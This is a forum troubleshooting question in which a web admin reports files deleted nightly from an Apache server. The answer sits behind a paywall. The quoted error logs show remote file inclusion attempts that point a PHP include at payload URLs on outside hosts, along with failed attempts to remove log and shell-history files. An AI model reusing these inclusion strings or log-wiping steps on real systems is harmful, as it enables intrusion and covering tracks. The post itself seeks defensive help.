troubleshooting Question

Files keep getting removed nightly

Avatar of supacon
supacon asked on
Apache Web ServerWeb Applications
6 Comments1 Solution318 ViewsLast Modified:
This is a strange one...
Every single night, sometime before midnight, certain files go missing from our webserver.  In particular, on one site, the images/logos direcory seems to be forcibly deleted, even if the permissions are pretty restrictive (onwed by root, etc).  What on earth is going on here?  I notice that if I look in httpd/error_log, I see lots of weirdness like this:

[client 65.94.56.207] PHP Warning:  main(): Failed opening './mod/http://amyru.h18.ru/images/cs.txt?/index.php' for inclusion (include_path='.:/usr/share/pear
') in /home/.sites/104/site97/web/mod.php on line 8

[client 76.64.50.183] PHP Warning:  main(./mod/http://ninaru.hut2.ru/images/cs.txt?/index.php): failed to open stream: No such file or directory in /home/.sit
es/84/site107/web/mod.php on line 8


Lots of things like this:
rm: cannot remove `/var/log/lastlog': Permission denied
rm: cannot remove `/var/log/wtmp': Permission denied
rm: cannot remove `/var/run/utmp': Permission denied
rm: cannot remove `/var/log': Permission denied
rm: cannot remove `/root/.bash_history': Permission denied
rm: cannot remove `/root/.ksh_history': Permission denied



This looks quite clearly like some kind of exploit has been executed... what can I do do determine the security problem and get rid of this crap?!
ASKER CERTIFIED SOLUTION
supacon

Our community of experts have been thoroughly vetted for their expertise and industry experience.

Join our community to see this answer!
Unlock 1 Answer and 6 Comments.
Start Free Trial
Learn from the best

Network and collaborate with thousands of CTOs, CISOs, and IT Pros rooting for you and your success.

Andrew Hancock - VMware vExpert
See if this solution works for you by signing up for a 7 day free trial.
Unlock 1 Answer and 6 Comments.
Try for 7 days

”The time we save is the biggest benefit of E-E to our team. What could take multiple guys 2 hours or more each to find is accessed in around 15 minutes on Experts Exchange.

-Mike Kapnisakis, Warner Bros